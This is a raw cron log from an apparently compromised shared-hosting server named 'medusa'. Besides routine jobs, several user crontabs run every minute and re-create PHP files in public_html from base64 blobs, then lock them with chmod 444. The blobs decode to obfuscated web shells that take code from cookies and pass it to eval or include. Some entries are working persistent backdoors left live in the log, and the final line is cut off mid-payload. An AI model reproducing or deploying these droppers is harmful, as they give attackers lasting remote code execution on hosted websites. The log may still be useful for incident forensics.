Mar  1 19:56:02 medusa CROND[21978]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:56:02 medusa CROND[21979]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:56:02 medusa CROND[21986]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:56:02 medusa CROND[21987]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:56:02 medusa CROND[21989]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:56:02 medusa CROND[21990]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:56:02 medusa CROND[21992]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:56:02 medusa CROND[21994]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:56:02 medusa CROND[21997]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:57:01 medusa CROND[27628]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:57:01 medusa CROND[27659]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:57:01 medusa CROND[27660]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:57:01 medusa CROND[27663]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:57:01 medusa CROND[27664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:57:01 medusa CROND[27665]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:57:01 medusa CROND[27667]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:57:01 medusa CROND[27668]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:57:01 medusa CROND[27669]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:57:01 medusa CROND[27672]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:57:01 medusa CROND[27670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:57:01 medusa CROND[27676]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:58:01 medusa CROND[1842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 19:58:01 medusa CROND[1998]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:58:01 medusa CROND[1999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:58:01 medusa CROND[2000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:58:01 medusa CROND[2003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:58:01 medusa CROND[2004]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:58:01 medusa CROND[2008]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KC